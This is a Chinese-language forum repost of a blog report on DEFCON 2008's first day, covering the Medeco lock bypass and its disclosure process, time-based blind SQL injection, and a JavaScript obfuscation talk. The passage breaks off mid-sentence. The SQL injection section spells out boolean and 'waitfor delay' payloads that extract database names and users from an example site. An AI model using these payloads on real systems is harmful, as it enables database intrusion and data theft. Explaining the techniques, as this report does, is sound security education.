[軟體] 美國駭客年會 DEFCON 2008 觀察--第一天

看板AntiVirus作者 (舞劍塵)時間15年前 (2008/09/05 18:57), 編輯推噓3(301)
留言4則, 3人參與, 最新討論串1/1
轉貼自: http://armorize-cht.blogspot.com/2008/08/defcon-2008.html 豪不必馳千騎,雄不在垂雙鞬,天生俊氣自相逐,出與鵰鶚同飛翻 --李益 (此文續「美國駭客年會 Black Hat 2008 觀察--第二天」...) 0. 可以 program 的 DEFCON 吊牌 1. Schuyler Towne & Jon King: 美國最安全鎖頭 Medeco 的破解與完整揭露 2. Chema Alonso: 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表 3. Kolisar: 空白字元:JavaScript 變形的新方法 4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路 5. Wendel Guglielmetti Henrique:打穿 WAF 6. 黑白帽相見歡(Meet the Feds) 7. NIST:量子加密(Quantum Cryptography) 8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces) (抱歉讓大家久等了,我發現每天要到晚上一點多才有空 blog。) 昨天晚上沒有先來 DEFCON(注1) 報到,今天早上報到隊伍排得好長。排我前面跟 後面的兩個人都在跑 metasploit(注2) 跟 nmap(注3) ;前面一個人是用 iphone 裝了 cydia(注4)(要裝的看這(注5))在跑,後面一個是拿他那低於兩百美金買的 寶貝 XO Laptop(注6) 裝了 Ubuntu(注7)(要裝的看這(注8))在跑。穿著 tshirt 牛仔褲,沒有整理的頭髮,躲在厚重眼鏡後面因熬夜而快睜不開的眼睛...比起那 些西裝筆挺,鞋子發亮,頭髮整齊,幽默風趣又能言善道的業務,這裡很多人看 起來可能並不是型男,但是在數位世界中, 他們是絕對的高手。 注1. https://www.defcon.org/ 注2. http://www.metasploit.com/ 注3. http://nmap.org/ 注4. http://www.saurik.com/id/1 注5. http://selil.com/media/chavez-hacking-Iphone.pdf 注6. http://en.wikipedia.org/wiki/OLPC_XO-1 注7. http://www.ubuntu.com/ 注8. http://www.olpcnews.com/software/operating_system/how_to_ubuntu_on_ xo_laptop.html 0. 可以 program 的 DEFCON 吊牌 http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2633_ filtered_WBed_cropped_730.jpg DEFCON 這幾年的 pass 都做得很酷,今年的 pass,上面有一個 SD 讀卡機,還 有 USB 接頭和一堆可以客製化的功能--可以無線傳輸,發出紅外線訊號充當電 視遙控器,或相互通訊等。我一報到完一樣,雖然付費參加,還是跟 nico 和 dirk 知會過,拿了另一個媒體的牌,並簽了拍照的合約。DEFCON 跟 Black Hat (注9)比起來,對於拍照更是敏感,所以我一直都很小心,也跟他們一直保持互 動。底下綠色的是媒體 pass,白色的是一般的 pass。 注9. http://www.blackhat.com/ 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3294_ filtered_cropped_730.jpg 看看其他人加工過的牌子吧!照片是這裡來的(注10)。 注10. https://pics.defcon.org/showgallery.php?cat=533 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/badges.jpg
這個牌子可以讓你自己焊接一個 USB 接頭上去,就可以開始設計他了。所有需 要用的軟體工具與 SDK,在 DEFCON 的 CD片中都有附。贏得比賽的人,可以拿 到一個黑色的牌子,就獲得終身免費參加 DEFCON 的資格囉!設計這個牌子的是 外號「Kinping」的 Joe Grand(注11),以下是他介紹整個設計的訪問影片: 注11. http://www.grandideastudio.com/ 影片: http://www.youtube.com/watch?v=n5pSY1Md89k
1. 美國最安全鎖頭 Medeco 的破解與完整揭露(注12)(投影片)(注13) 進去後先吃早餐,排隊排到都餓了。我坐下來,發現旁邊是一位很年輕的美國人 ,看來很想睡覺,眼睛幾乎睜不開了,但是手卻很忙,仔細一看,他正在開鎖, 工具就擺在桌上。邊吃邊聊了起來,原來他就是 Jon King,正在開美國能做出 來最安全的鎖:Medeco 的最頂級六針型鎖頭。Medeco 目前有超過四百名員工, 在美國高階鎖市場市佔率達七成以上,凡舉各銀行,機密單位,軍方等,一律都 採用Medeco 的鎖,所以一般美國鎖匠,也把 Medeco(注14) 看成是「終極神鎖」。 注12. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Towne 注13. https://www.defcon.org/images/defcon-16/dc16-presentations/def con-16-towne-king.pdf 注14. http://www.medeco.com/ Jon 說他兩天沒睡了,眼睛睜不開,但是還是很熱心的一直跟我說,他是如何破 解這顆鎖的。雖然我不懂鎖,但是聽起來真是有趣,找漏洞需要有一種特殊的 「心理狀態」,而這種狀態,看來似乎實體安全跟資訊安全所需要的其實差不多 。另外我更有興趣的是,他從驗證弱點到與廠商互動到公開攻擊方法的整個過程 ,也就是所謂的負責的弱點揭露(responsible vulnerability disclosure)的 程序(注15)。這個議題雖然目前在資安圈,尤其是各大駭客年會上,正是個火熱 的話題,但是在鎖匠的社群裡,這個議題已經有很長的歷史了(鎖跟電腦的發明 差了多久?),可能也因為如此,似乎處理的方式也比較成熟。 注15. http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/ index.html Jon 與 Medeco (注16)的故事,要從去年的 DEFCON 15 (2007)(注17)說起... 注16. http://www.medeco.com/ 注17. https://www.defcon.org/html/defcon-15/dc-15-speakers.html 去年,Schuyler Towne(注18) 第一次來到 DEFCON(注19),向駭客們介紹了 locksport(注20)。Locksport 是一個新興的文化,把研究鎖的設計與弱點當 成興趣。這種社群最成熟的是在荷蘭的 TOOOL(注21),每年都舉辦開鎖大賽 Dutch Open(這裡有 wired (注22)對 2004 年大賽的報導(注23)),並努力 希望奧運能加入開鎖比賽的項目。 注18. https://www.defcon.org/html/defcon-15/dc-15-speakers.html#Towne 注19. http://www.defcon.org/ 注20. http://www.locksport.com/ 注21. http://www.toool.nl/index-eng.php 注22. http://www.wired.com/ 注23. http://www.toool.nl/wired.pdf Schuyler Towne 並在大會中發表了他創辦的「非破壞性進入(Non Destructive Entry)(注24)」雜誌。他當時演講的錄影在這裡(注25),投影片在這裡(注26)。 注24. http://www.ndemag.com/ 注25. http://video.google.com/videoplay?docid=-4849510167974330234 注26. http://www.defcon.org/images/defcon-15/dc15-presentations/dc- 15-towne.pdf 在另外一頭,Medeco 的首席工程師 Peter Field 首次於荷蘭 TOOOL 舉辦的開 鎖年賽 Dutch Open 上演講。Peter 自 1960 年開始做鎖匠,於1978年被 Medeco 聘用,目前他已經擁有了超過 15 篇的美國專利(注27)。Peter 在開鎖大賽中長 達四小時的馬拉松式演講(注28)充分表達了他對此社群的支持,也讓研究開鎖的 社群與設計鎖的公司有了更好的互動。 注27. http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HI TOFF&p=1&u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&r=1&f=G&l=50&d=PALL& RefSrch=yes&Query=PN%2F5570601 注28. http://www.toool.nl/blackbag/?p=144 而又在另外一頭,Jon King 今年 22 歲,在跟著美國海軍跑船之餘,利用空閒 時間研究鎖的結構與開鎖的技巧,當然也研究美國最難開的 Medeco 鎖。2007 年九月時,其實 Jon 已經成功的開啟他他手上的 Medeco,但是他繼續研究, 這是偶發事件,還是可以做出工具,讓攻擊可以簡單並系統化的重複?如果可 以,那麼無敵的 Medeco 就算是真的配破解了。 Peter 演講後一個月,Jon 做出了 Medecoder 開鎖工具,可以重複地開 Medeco 。今年二月,Jon 找上了 Schuyler Towne。他讀過 Schuyler 創辦的NDE(注29) 雜誌,他知道 Schuyler 可以幫他解決目前的一大難題:如何公開這個會讓美國 所有最機密單位與銀行瞬間陷入危險的研究:Medeco 破解法與 Medecoder? 注29. http://www.ndemag.com/ 弱點揭露(vulnerability disclosure)(注30)中,雙方永遠是不對等的(就像 最近 Google 與 RSnake 事件(注31))。Medeco 是四百人的公司,背後還有美 國政府。Jon 是一個 22 歲的小伙子。如果 Jon 與 Medeco 簽了保密合約(NDA) ,那麼 Jon 沒有 Medeco 允許,不能公開他找到的弱點。可是這種弱點可能讓一 個製鎖公司瞬間瀕臨倒閉(記得 2004 年 Kryptonite 事件嗎?(注32)), Medeco 會讓 Jon 出去講嗎?可是如果不講,Medeco 可能根本不改善弱點,或者 出新版後也不承認舊版有弱點(鎖不能 binary diff patch 吧?(注33))如果 Jon 不簽NDA 而直接完整揭露(full discloser),Medeco 可以稱此為不負責任 揭露,發動輿論攻擊或甚至提告 Jon。故事會如何發展呢? 注30. http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/ index.html 注31. http://armorize-cht.blogspot.com/2008/08/black-hat-2008.html#RSNAKE 注32. http://www.nytimes.com/2004/09/17/nyregion/17lock.html?ei=5090&en=5 2de64f51b991525&ex=1253160000&partner=rssuserland&pagewanted=all&position= 注33. http://www.schneier.com/blog/archives/2008/04/reverseengineer.html 今年四月,Peter 帶著各種工具、零件與攝影機,來到了 Jon 住的公寓。五月, Medeco 已經設計出新一代產品:ARX 並可以生產,對於已經賣出的產品也有了修 改套件。七月,Jon 首次於 The Last Hope(注34) 資安會議上展現此弱點與攻 擊技巧: 注34. http://www.thelasthope.org/talks.html 影片: http://www.youtube.com/watch?v=j77WM-uL4qc
七月底,Jon 寫的關於 Medeco 的完全揭露(full disclosure)公布於 NDE (注35) 雜誌第四期(注36),裡頭註明了,此篇應 NDE 要求,延遲兩個月公布,目前兩個月 時間已過,Medeco 也出了新產品 ARX,Jon 的攻擊對於新產品已失效,對於已經在 市面上的眾多舊產品,Medeco 已經出了修補的套件。今天在 DEFCON(注37), Schuyler 與 Jon 首次同台,共同講述了整個從發現弱點、設計攻擊工具、通知廠 商到完整揭露的整個過程。整個演講有一半在探討負責的弱點揭露(responsible vulnerability disclosure)程序(注38),內容大致與 NDE 第四期的第一篇文章相 同,有興趣的朋友可以讀一讀。 注35. http://www.ndemag.com/ 注36. http://www.ndemag.com/issues/nde4.pdf 注37. http://www.defcon.org/ 注38. http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index .html 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2791 _cropped_WBed_730_1.JPG 演講中最精彩的,莫過於 Jon 當場拿他設計的工具示範開鎖。第一次很快地,他手 一揚,結果又收回來,因為原本以為開了,但是手一抖就沒開成。這時 Jon 說: 「各位,我希望我在 DEFCON 能開成,但是我兩天沒睡了,不能保證...」這時很多 觀眾幫他出聲打氣:「You can do it Jon!」。一瞬間,從攝影機看到鎖頭動了, 轉到開的位置,Jon 立刻把鎖頭高舉,大家興奮得一直鼓掌... 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/jon_730.jpg
2. 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool)(注39)(投影片) (注40)(whitepaper)(注41)(程式下載)(注42)(whitepaper)(注43)(extras) (注44)(Marathon(注45) 工具下載) 注39. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso 注40. https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-alonso-parada.pdf 注41. https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf 注42. https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/alonso-parada-extras.zip 注43. https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf 注44. https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/alonso-parada-extras.zip 注45. http://www.codeplex.com/marathontool Okay,我又得承認,這中間我又開溜了,我跑去聽跟我們做得很相關的滲透測試手法 :「時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool)(注46) 」。 注46. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso 以下是講師之一的 Chema Alonso(大會(注47)、blog(注48)): 注47. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso 注48. http://elladodelmal.blogspot.com/ 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2745 _filtered_wbed_730.jpg 這個手法的精神主要是,在 blind SQL injection (注49)時,如果不同 SQL injection 指令的結果,無法由 HTTP Response 本身得知,那麼可以用時間差的方 式判斷。可以設計一個很耗時的 SQL 指令,這時如果 SQL injection 成功,那麼 這個 SQL injection 指令的執行結果,會影響到 Web server 回復 HTTP response 的速度,這個就可以用來判斷 SQL injection 指令執行的結果。 注49. http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_Injection Chema 在台上 demo 時一下子秀出他吸大麻的照片,一下拿出照相機拍台下的聽眾, 一下子不斷用西班牙話數著:「一、二、三、四、五,注入成功!」活像個超級黑客 。他目前在馬德里的 Rey Juan Carlos University(注50) 大學攻讀博士學位,由 Dr. Antonio Guzman 與 Dr. Marta Beltran 共同指導。這個演講其實就是根據他 寫的博士論文。 注50. http://www.urjc.es/version_chino/ 由於兩位西班牙來的講師,Jose Parada 在微軟工作,Chema 也曾獲微軟的 最有價 值專家(MS MVP(注51),此演講早在去年底就在微軟官方的 TechNet 上公布過了。 (注52) 注51. http://mvp.support.microsoft.com/ 注52. http://technet.microsoft.com/en-us/library/cc512676.aspx Chema 有一個在西班牙很受歡迎的 blog(注53),如果有興趣的朋友可以讀一讀, 如果你懂西班牙文的話。不懂西班牙文,用機器翻譯一下,也會發現很多好東西。 例如 Chema 寫了三篇(一(注54)、二(注55)、三(注56))他的 DEFCON 心得, 如果挖一下,你會發現他把他照台下的照片貼出來了(注57)。由於 DEFCON 很多 人 裝備 打扮 身份 都必較特殊,不喜歡被拍照,一般規定是不可拍群眾的,所 以外面很少照片流傳,沒有實際去過的人,也比較不容易想像會場樣子。他什麼 時候會拿掉不知道,有興趣的可以看一下 ;-) 注53. http://elladodelmal.blogspot.com/ 注54. http://elladodelmal.blogspot.com/2008/08/defcon16-i-de-iii.html 注55. http://elladodelmal.blogspot.com/2008/08/defcon16-ii-de-iii.html 注56. http://elladodelmal.blogspot.com/2008/08/defcon16-iii-de-iii.html 注57. http://4.bp.blogspot.com/_Y2uWeGSk9Sw/SKAjSEPdjSI/AAAAAAAACgY/e_64uhK7dUc/s1600-h/dos.png
另外他也在 blog 上公布了他的投影片(注58)...其實他公布了所有人的投影片 (注59)...其實他連 Black Hat 所有投影片也公布了(注60)... 注58. http://164.106.251.250/docs/dc2008/defcon-16-alonso-parada.pdf 注59. http://164.106.251.250/docs/dc2008/ 注60. http://164.106.251.250/docs/bh2008/ 還有很多好玩的啦,自己挖吧!我怎麼看得懂呢?我背後做一個西班牙來的 同事 Roman 啊! 這個演講他們也有公布 white paper,在這裡(注61),裡頭你會發現作者還包括另 外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 嗎?如果你聽西班牙 話的話,這裡有 Daniel 的演講(注62),大同小異。 注61. http://mirror.sweon.net/defcon16/Speakers/Alonso-Parada/defcon-16-alonso-parada-wp.pdf 注62. http://video.google.com/videoplay?docid=-5424434168214025056 我就用他們的 paper,簡單帶各位走一遍好了! 先談 blind SQL injection (注63)。假設我是攻擊者,那 Blind SQL injection 講白話些,一般是指在目標網站的資料庫沒有吐錯誤訊息的情況下,進行 SQL injection 的方法。在 SQL injection 中,攻擊者需要知道兩項重要資訊: 注63. http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_Injection 1. SQL injection 是否成功?定義:是否能有效影響目標伺服器所執行的 SQL 指令? 2. SQL injection 所注入之指令所執行的結果? 第一點很容易明白,攻擊者要進行 SQL injection,第一步就是必須能有效地 從外部影響到目標 web application 所執行的 SQL 指令。如果目標網站有開啟 資料庫 error 訊息,那麼這點可以由 error 訊息來得知。如果沒有開錯誤訊息, 則可以由其他方式,例如觀察在成功與失敗的狀況下,回傳網頁的不同而得知。 第二點則十分重要,因為當攻擊者能夠成功地注入指令時,接下來必須能夠得知 ,注入的指令在執行後的結果;尤其像一些利用 "if" 指令的比對方法,攻擊者 必須能掌握指令之結果。我舉個例子。 假設有一個購物網站,其中有一頁,能讓使用者用產品號碼查詢產品。我們知道 某產品號碼為 1234,則我們查詢時的 URL 如下: http://www.victim.com/search.asp?q=1234 會列出產品序號 1234 的相關資料。如果序號查不到,回應的頁面就會寫 「查無此產品!」 假設後端 SQL 指令如下,並且沒有處理變數「q」(q 是不乾淨的 tainted): objConn.Execute("select * from product_table where serial=" + Request.QueryString("q")); 攻擊者可以先測試此 URL: http://www.victim.com/search.asp?q=1234 AND 1=0 發現回傳:「查無此產品!」 於是攻擊者再試第二個 URL: http://www.victim.com/search.asp?q=1234 AND 1=1 發現回傳產品 1234 的簡介。於是攻擊者做出以下結論: A. 此頁有 SQL injection 漏洞,攻擊者可以影響 SQL 指令並有效執行成功。 B. 執行的結果,可以由回傳的頁面不同來判定。 對於 (B),我們把第一個頁面(AND 1=0)稱做負頁面(false page),而把第 二個頁面(AND 1=1)稱做正頁面(true page)。這邊目的 是要判斷 SQL condition 的 evaluation 是 true 或 false。 舉例來說,攻擊者於是可以設計以下 URL: http://www.victim.com/search.asp?q=1234 AND (100>ASCII(Substring( (select system_user),1,1))) 如果結果回傳負頁面,告訴我們此資料庫 system_user 名稱的第一個字元的 ASCII 碼小於或等於 100;如果回傳正頁面,則告訴我們第一個字元大於 100 。自動化的攻擊工具可以在經過一串測試後,很快地把資料庫目前 system_user 名稱算出來。 感謝講師 Chema Alonso(大會(注63)、blog(注64))同意我們轉載他投影片 (注65)上的任何內容,所以下面我們來看他投影片裡頭用的真實範例(內容完 全根據投影片): 注63. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso 注64. http://elladodelmal.blogspot.com/ 注65. http://164.106.251.250/docs/dc2008/defcon-16-alonso-parada.pdf 第一張我們可以看到,這是我們沒有對 URL 做任何改變時的畫面: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-3-mask.png
第二張我們把 URL 中加入「and 1=1」,結果回來的頁面是一樣的。這個就是 我們的正頁面: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-1-mask.png
第三張我們把 URL 中加入「and 1=2」,結果回來的頁面不一樣。這個就是我 們的負頁面: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-2-mask.png
這種比對的手法,可以把很多資訊解出來,包含資料庫名稱,table 名稱等等。 好了,所以對於 (1)「是否注入成功」與 (2)「SQL 指令執行結果」,在有錯 誤訊息或回傳網頁會因結果而有變化的情況下,攻擊者可以很容易地做出判斷 。但是如果這些訊息都沒有,就需要依靠 Blind SQL injection 技巧了。 Blind SQL injection 包含很多方法,從 2000 年大家陸續研究並提出許多 paper。對於初學者來說,整理得比較好的,我覺得是 SQLbfTools(注66) 這個 blind SQL injection 工具於於 Black Hat 2004(注67) 以及 DEFCON 2004(注68) 發表時的投影片。當時這篇發表的價值,是整理出可以判斷 true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加總 的線性表示等。其中利用 signature 比對的方式,跟我 WWW 2003(注69) 那篇提出的 NRE:R1=R2≠R3 的概念是一樣的。 注66. http://www.reversing.org/node/view/11 注67. http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip 注68. http://www.0x90.org/releases/AutomatingBlindSQL-DC12.zip 注69. http://www.openwaves.net/download/wayne/WWW2003_WAVES.pdf 而其實時間差用於 blind SQL injection 的概念,在當初 2002 年 NGS Software(注70) 的 Chris Anley 的 (more) Advanced SQL Injection(注71) 那篇就已經有提到了,以下幾個是他當時給的例子: 注70. http://www.ngssoftware.com/ 注71. http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf 最簡單的來說,以下的 SQL injection 指令會讓我們在沒有知道目前資料庫 的帳號是不是 "sa" (Microsoft SQL Server適用): if (select system_user) = 'sa' waitfor delay '0:0:5' 接下來,看看這個 SQL injection: declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' 根據時間差,我們可以得知目前資料庫名稱字串的第一個 bit 是否是 1。 這個 SQL injection: declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5' 可以知道第二個 bit...連續做八次,第一個字母就出來了。假設資料庫名稱有 二十個英文字母,也才需要做 80 次,況且現在很多工具都可以幫忙自動化這 個過程。常用的自動 SQL injection 工具中,支援 blind SQL injection 的 有 SQLbfTools(下載(注72),Black Hat 2004 投影片(注73),DEFCON 2004 投影片(注74))、Absinthe(注75)、sqlninja(注76) 以及我好朋友寫的 SQL Power Injector(注77) 等: 注72. http://www.reversing.org/node/view/11 注73. http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip 注74. http://www.0x90.org/releases/AutomatingBlindSQL-DC12.zip 注75. http://www.0x90.org/releases/absinthe/ 注76. http://sqlninja.sourceforge.net/ 注77. http://www.sqlpowerinjector.com/ SQLbfTools(注78) 畫面(從 Chema (注79)投影片擷取): 注78. http://www.reversing.org/node/view/11 注79. http://elladodelmal.blogspot.com/ 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/mysqlbf.png
Absinthe (注80)畫面(從 Chema (注81)投影片擷取): 注80. http://www.0x90.org/releases/absinthe/ 注81. http://elladodelmal.blogspot.com/ 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe1.png
圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe2.png
sqlninja(注82) 畫面(從 Chema (注83)投影片擷取): 注82. http://sqlninja.sourceforge.net/ 注83. http://elladodelmal.blogspot.com/ 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/sqlninja.png
SQL Power Injector: (注84) 注84. http://www.sqlpowerinjector.com/ 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/SPInjBlindMode.JPG
事實上,比起人工的滲透測試,時間差判斷法對於自動工具來說更為重要。 因為譬如正負頁面差異的方法,對人來說很好判斷,對自動的程式就比較不容易 ,因為網頁是很多動態的元件拼起來的,要識別一頁上什麼本來就一直變,要判 斷什麼是因為 SQL 指令執行結果不同而變的,有時並不容易。事實上 2002 年我 寫完 WWW 2003 那篇論文投稿後,就對這個題目很有興趣(類似 SQLbfTools 的 研究),但是由於後來忙於白箱源碼檢測的研究,黑箱就沒有繼續。記憶中 WWW 2004 會議上時就有一篇是做這個的(但是不是給滲透測試用),但是是在 spacial domain 做。其實我覺得這樣的問題可以像大部分 Information Retrieval(注85) 模型一樣,拿到 frequency domain 來解。 注85. http://en.wikipedia.org/wiki/Information_retrieval 講遠了,回正題,時間差識別法,對於自動化工具特別重要,因為這個方法容易 自動化,不易因為自動化而造成誤判。 既然已經有了這麼多的工具,那麼 Chema 這篇的貢獻在哪裡呢?在於: 1. 他把適合各種平台用的時間差方法(在沒有 wait functions 的情況下)做了 很好的整理,並擴充至不支援 T-SQL-like 語法的資料庫。他提的方法是可以通 用於各種不同資料庫的,不受資料庫差異影響。 2. 他發表了開放源碼的工具 Marathon Tool。(注86) 注86. http://www.codeplex.com/marathontool 對於他整裡的時間差方法,因為時間有限,我簡單用他的第一個例子 (MS SQL Server heavy query)敘述如下: SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 and 300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers) 其實我們可以把這個指令簡化來看成兩個 evaluation 被 and 起來: and B 其中 A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys. sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys. sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers) 這樣看就很清楚,A 是一個 heavy query,沒什麼特別,就是一個會讓 SQL server 做很久的 SQL 指令。 B 則是我們實際上要判斷的:sys.sysusers 的第一個字元 ASCII 碼大於或 小於等於 300。 然後,這整個指令會先測 B,如果 B 成立才會測 A,而測 A 需要很久(幾秒) 的時間。所以也就是說,如果 B 成立,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。其實講到這邊就講完了...但是,為何 B 會 先被 evaluate,然後再 A,造成一個類似 if...then 的狀況?因為這種方式在 SQL injection 技巧中用的蠻多的,我們就來探討一下 :) 這是因為 SQL 語法有 short-circuit evaluation(注87)。某些語言,例如 C ,有硬性規定 short-circuit evaluation 的運算元(operator)與先後順序 (preference)。 注87. http://en.wikipedia.org/wiki/Short-circuit_evaluation 例如以下這段 C 程式碼: int denom = 0; if (denom && nom/denom) { oops_i_just_divided_by_zero(); // never happens } 以上這段永遠不會 division by zero,因為 ANSI C 有硬性規定 "&&" 這個運算 元有 short-circuit,而且順序是由左到右。所以因為 denom 是零,所以 nom/denom 永遠不會被 evaluate 到。 那麼這邊問題是: 1. C 有硬性規定,MS SQL 語法有嗎? 2. 如果有,那麼先後順序呢? 答案是,(1) 沒有,但是目前的實做是有,(2) 不一定!為了效率,MS SQL Server 確定會 short-circuit,但是順序為何?左到右?右到左?至今仍是個謎!(注88) 注88. http://weblogs.sqlteam.com/jeffs/archive/2008/02/22/sql-server-short-circuit.aspx 要探討這個迷,第一要注意的是,我們這邊運用的是 SQL 語法中的 short-circuit, 而 SQL 語言非 procedural 語言。procedural 語言,例如 C,&& 或 || 都有定義 short-circuit,但是 SQL 語言中的 select...where clause,如果用的是「OR」 這個運算元,那麼不用懷疑,沒有所謂 short circuit,因為在這種 context 下, 被 OR 起來的所有 condition 都需要被 evaluate!所以網路上很多討論(注89)都是 錯誤的。 注89. http://weblogs.sqlteam.com/jeffs/archive/2008/02/22/sql-server-short-circuit.aspx 至於 MS SQL "AND" 的 short-circuiting,當真是個謎,這裡試出來是左到右(注90), 這裡卻是右到左(注91)。我沒有太多時間研究,但是我的猜測是,第一,MS SQL 不是 procedural language,所以不會硬性規定順序。第二,MS SQL Server 會根據如何做 可以達到最佳效能,來決定所有被 AND 起來的 condition,誰先執行而誰後執行。基 本原則是,快的先執行,這樣做 short circuit 才有意義。這是我個人看法,這裡有 沒有熟 MS SQL 的看官? 注90. http://www.sqlmag.com/Articles/ArticleID/9148/pg/2/2.html 注91. http://www.mydatabasesupport.com/forums/sqlserver-server/201467-urgent -why-sql-server-evaluating-all-expressions.html 無論如何,Chema 提的例子當中:A and B,其中: A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys. sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers) 因為執行順序為先 B 後 A(為什麼?我覺得因為 MS SQL Server 判斷 B 比較快 evaluate),所以如果 B 是 true,那麼就會執行 A。也就是說,如果 sysusers 的第一個字母的 ASCII 值大於 300 的話,伺服器的回應會慢,因為還要 evaluate A ;否的話,則很快可以得到回應。 好玩吧!事實上,我覺得即使把 A / B 對調,變成:B and A,結果還是 B 會先被 evaluate。但是沒有試過就是了... :) 最後,Chema 也將他這次的研究,實做成了工具: Marathon (注92)並在會上發表。 跑起來長這樣,注意,重點是支援的資料庫比其他工具多: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/marathon_tool.png
注92. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar 3. 空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)(注93)(投影片)(注94)(程式下載)(注95) (線上 demo)(注96) 注93. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar 注94. https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-kolisar.pdf 注95. https://www.defcon.org/images/defcon-16/dc16-presentations/kolisar/kolisar-extras.zip 注96. http://malwareguru.com/kolisar/WhiteSpaceEncode.html 接下來我來到了整個 DEFCON 我最喜歡的演講之一:「空白字元:JavaScript 變形的 新方法(Whitepace: A Different Approach to JavaScript Obfustation)(注97)」 。先不講演講內容,演講者叫「Kolisar」,當然是一個假的名字。演講後我跟他花了 很多時間探討,才了解到,他在一家很有名的大公司上班,不是資安公司,但是負責 公司的網管與資安。也就是說,對我們阿碼科技這種「廠商」來說,他是「用戶(user) 」。用戶上來給演講?沒錯!因為過去一年半,網站掛馬 javascript 變形手法太強, 沒有一家能夠有效識別惡意的 javascript(當然那時他不認識阿碼科技),他只好自己 拿 spidermonkey 來做,經過一整年與變形後的惡意 javascript 搏鬥後,看得多了, 自己也有了心得,於是根據他看到的以及他研究的,他終於說服了老闆來 DEFCON 給演講 。什麼?要在駭客年會給演講?傳統的大企業當然有顧忌,所以最後雖然準他來,但是不 能用真名,也不能提公司的名字...哈! 注97. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar 但是這就跟我一直提的,在台灣也是一樣,user 都快比很多廠商強了,被訓練出來的! 尤其台灣很多經銷代理商,一心只想塞產品給客戶...客戶都只好自求多福,幾年下來功 力已經超過廠商了。 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2823_ filtered_cropped_730.jpg Kolisar 給我的第一印象,看他眼睛,非常聰明,但是同時也是一個很認真也很誠懇 的人。他的演講整間做得滿滿的,算一算快一千人吧!他一開始就說:這是我第一次來 DEFCON 講...事實上,我給過演講,最多只有 20 個人,結果這次第一次上台竟然那麼 多人,所以我現在一直發抖... 他的態度讓大家都很喜歡他,台下一直幫他打氣,他不像其他有經驗的講師很會搞笑, 